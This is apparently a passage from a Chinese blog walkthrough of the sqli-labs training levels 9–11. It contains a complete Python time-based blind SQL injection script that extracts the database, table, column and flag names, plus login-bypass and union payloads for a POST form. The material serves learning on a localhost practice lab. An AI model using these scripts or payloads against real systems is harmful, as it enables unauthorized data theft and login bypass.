  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>脚本有点慢，稍微等一下就好</p>
<p>我好垃圾啊，群里高中大佬都很强，我大二还是废物！</p>
<p>冲！</p>
<h2 id="less-9">less-9<a class="anchor" href="#less-9">#</a></h2>
<p>跟上一关很像，这一关左试右试，什么都回显一样，那就只得放弃其他类型注入，在测试一番后，发现<code>?id=1' and sleep(5) --+</code>可以使浏览器延迟，左上角圈一直转，有延迟说明执行了sleep(5)<img
  src="/aa27d0/less9-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1032"
/>
</p>
<p>那就必然使用时间盲注了，贴脚本</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="kn">import</span> <span class="nn">datetime</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl">
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://localhost/sql-labs/Less-9/?id=1&#39;&#34;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">def</span> <span class="nf">get_dbname</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">    <span class="n">dbname</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">9</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">127</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;and if(ascii(substr(database(),</span><span class="si">{0}</span><span class="s2">,1))=</span><span class="si">{1}</span><span class="s2">,sleep(2),1)--+&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">            <span class="c1"># payload = &#34; and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+&#34;.format(i,k)</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">            <span class="c1"># if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒，也可以和1调换位置（那样就是如果语句错误休眠两秒）</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">            <span class="n">time1</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">            <span class="c1"># 获得提交payload之前的时间</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">            <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">            <span class="n">time2</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">            <span class="c1"># 获得payload提交后的时间</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">            <span class="n">difference</span> <span class="o">=</span> <span class="p">(</span><span class="n">time2</span> <span class="o">-</span> <span class="n">time1</span><span class="p">)</span><span class="o">.</span><span class="n">seconds</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">            <span class="c1"># time，time2时间差，seconds是只查看秒</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">            <span class="k">if</span> <span class="n">difference</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">                <span class="n">dbname</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名为-&gt;&#34;</span> <span class="o">+</span> <span class="n">dbname</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">
</span></span><span class="line"><span class="ln"> 28</span><span class="cl"><span class="n">get_dbname</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">
</span></span><span class="line"><span class="ln"> 31</span><span class="cl"><span class="k">def</span> <span class="nf">get_table</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="n">table1</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="n">table2</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">    <span class="n">table3</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">    <span class="n">table4</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">127</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;and if(ascii(substr((select table_name from information_schema.tables where table_schema=</span><span class="se">\&#39;</span><span class="s2">security</span><span class="se">\&#39;</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2">,sleep(2),1)--+&#34;</span> <span class="o">%</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">                <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">                <span class="n">time1</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">                <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">                <span class="n">time2</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">                <span class="n">difference</span> <span class="o">=</span> <span class="p">(</span><span class="n">time2</span> <span class="o">-</span> <span class="n">time1</span><span class="p">)</span><span class="o">.</span><span class="n">seconds</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">                <span class="k">if</span> <span class="n">difference</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">                    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">                        <span class="n">table1</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第一个表为-&gt;&#34;</span> <span class="o">+</span> <span class="n">table1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">                    <span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">                        <span class="n">table2</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第二个表为-&gt;&#34;</span> <span class="o">+</span> <span class="n">table2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">                    <span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">                        <span class="n">table3</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第三个表为-&gt;&#34;</span> <span class="o">+</span> <span class="n">table3</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">                    <span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">                        <span class="n">table4</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第四个表为-&gt;&#34;</span> <span class="o">+</span> <span class="n">table4</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">                    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">                        <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">
</span></span><span class="line"><span class="ln"> 62</span><span class="cl"><span class="n">get_table</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">
</span></span><span class="line"><span class="ln"> 65</span><span class="cl"><span class="k">def</span> <span class="nf">get_column</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">    <span class="n">column1</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">    <span class="n">column2</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="n">column3</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">9</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">127</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;and if(ascii(substr((select column_name from information_schema.columns where table_name=</span><span class="se">\&#39;</span><span class="s2">flag</span><span class="se">\&#39;</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2">,sleep(2),1)--+&#34;</span> <span class="o">%</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">                <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">                <span class="n">time1</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">                <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">                <span class="n">time2</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                <span class="n">difference</span> <span class="o">=</span> <span class="p">(</span><span class="n">time2</span> <span class="o">-</span> <span class="n">time1</span><span class="p">)</span><span class="o">.</span><span class="n">seconds</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">                <span class="k">if</span> <span class="n">difference</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">                    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">                        <span class="n">column1</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;字段一为-&gt;&#34;</span> <span class="o">+</span> <span class="n">column1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">                    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">                        <span class="n">column2</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;字段二为-&gt;&#34;</span> <span class="o">+</span> <span class="n">column2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">                    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">                        <span class="n">column3</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;字段三为-&gt;&#34;</span> <span class="o">+</span> <span class="n">column3</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">                    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">                        <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">
</span></span><span class="line"><span class="ln"> 92</span><span class="cl"><span class="n">get_column</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">
</span></span><span class="line"><span class="ln"> 95</span><span class="cl"><span class="k">def</span> <span class="nf">get_flag</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">    <span class="n">flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">127</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;and if(ascii(substr((select flag from flag),</span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2">,sleep(2),1)--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">            <span class="n">time1</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">            <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">            <span class="n">time2</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">difference</span> <span class="o">=</span> <span class="p">(</span><span class="n">time2</span> <span class="o">-</span> <span class="n">time1</span><span class="p">)</span><span class="o">.</span><span class="n">seconds</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="k">if</span> <span class="n">difference</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">                <span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;flag为-&gt;&#34;</span> <span class="o">+</span> <span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">
</span></span><span class="line"><span class="ln">108</span><span class="cl">
</span></span><span class="line"><span class="ln">109</span><span class="cl"><span class="n">get_flag</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>脚本不是万金油，是针对这道题目的，下次有机会自己写一个盲注脚本出来，其实都是推脱，一直有机会啊，不太敢尝试。可能是懒吧，也可能是怕一头雾水的感觉。</p>
<h2 id="less-10">less-10<a class="anchor" href="#less-10">#</a></h2>
<p><img
  src="/aa27d0/less10-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>就是把less-9的脚本拿过来用，单引号改成双引号就行了，为这我还单写一篇。。。</p>
<p>对了，大牛杯被暴打，爆0，零输出很难受</p>
<p>希望五一做点志愿，web理解并掌握更多</p>
<h2 id="less-11">less-11<a class="anchor" href="#less-11">#</a></h2>
<p>这一关考察对POST类型的注入，我们先来了解一下POST与GET的区别</p>
<blockquote>
<ol>
<li>
<p>get是从服务器上获取数据，post是向服务器传送数据。</p>
</li>
<li>
<p>GET请求把参数包含在URL中，将请求信息放在URL后面，POST请求通过request body传递参数，将请求信息放置在报文体中。</p>
</li>
<li>
<p>get传送的数据量较小，不能大于2KB。post传送的数据量较大，一般被默认为不受限制。但理论上，IIS4中最大量为80KB，IIS5中为100KB。</p>
</li>
<li>
<p>get安全性非常低，get设计成传输数据，一般都在地址栏里面可以看到，post安全性较高，post传递数据比较隐私，所以在地址栏看不到， 如果没有加密，他们安全级别都是一样的，随便一个监听器都可以把所有的数据监听到。</p>
</li>
<li>
<p>GET请求能够被缓存，GET请求会保存在浏览器的浏览记录中，以GET请求的URL能够保存为浏览器书签，post请求不具有这些功能。</p>
</li>
<li>
<p>HTTP的底层是TCP/IP，GET和POST的底层也是TCP/IP，也就是说，GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body，给POST带上url参数，技术上是完全行的通的。</p>
</li>
</ol>
<p>7.GET产生一个TCP数据包，对于GET方式的请求，浏览器会把http header和data一并发送出去，服务器响应200（返回数据）；POST产生两个TCP数据包，对于POST，浏览器先发送header，服务器响应100 continue，浏览器再发送data，服务器响应200 ok（返回数据），并不是所有浏览器都会在POST中发送两次包，Firefox就只发送一次。</p>
</blockquote>
<p><strong>先来用户名位置构造语句</strong></p>
<p>猜测有admin这样的用户名，输入<code>admin' or '1'='1</code>,密码随便<img
  src="/aa27d0/less11-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>登录成功的，而且登录的是admin的帐户。那我们随便输入个用户名试试<img
  src="/aa27d0/less11-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>失败，解释一下，后台构造语句大致是这样的：<code>select * from users where username='tajang' or '1'='1' and password='123'</code>,此用户并不存在但是由于后面<code>or '1'='1'</code>条件永真，所以语句被执行，但是查询为空，返回错误。<strong>这种注入方式，用户名必须在数据库中存在</strong></p>
<p><strong>密码位置构造语句</strong></p>
<p>在用户名位置输入任意名字， 密码位置随便输入，如<code>qwert' or '1'='1</code><img
  src="/aa27d0/less11-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>可以看到登录成功，由于前几关的注入我们知道，Dumb是第一位用户，这是为什么？还是看语句是如何构造的</p>
<p><code>select * from users where username='qqq' and password='qwert' or '1'='1'</code> 而这一句其实等同于 <code>select * from users where '1'='1'</code> ，这就是直接执行select * from users 无任何条件。
所以在密码处构造不需要知道用户名，也就是常说的万能密码，但登陆进去的一定是第一个用户。</p>
<p><strong>测试注入点</strong></p>
<blockquote>
<p>输入框中不要用&ndash;+因为+不会进行url编码，因为他不在url地址栏中，可以使用 #  %23  &ndash; #</p>
</blockquote>
<p>虽然我们已经知道存在注入，但我们还是试一试吧，用户名输入<code>1' or 1=1 -- #</code><img
  src="/aa27d0/less11-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>成功登录。说明这是一个注入点，反之在密码处也一样</p>
<p><strong>猜解字段数</strong></p>
<p>在前面几关中可以用<code>?id=1' order by n --+</code>来测试字段数，因为传入<code>id=1</code>后，有正确的返回值，我们当然可以利用<code>order by</code>；但是在这里肯定不行的，因为这里没有用户名为1的用户，所以我们反其道而行之，使用<code>union select</code>，传入错误的username，让它执行后面的union select语句。payload：<code>-1' union select 1,2 -- #</code><img
  src="/aa27d0/less11-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
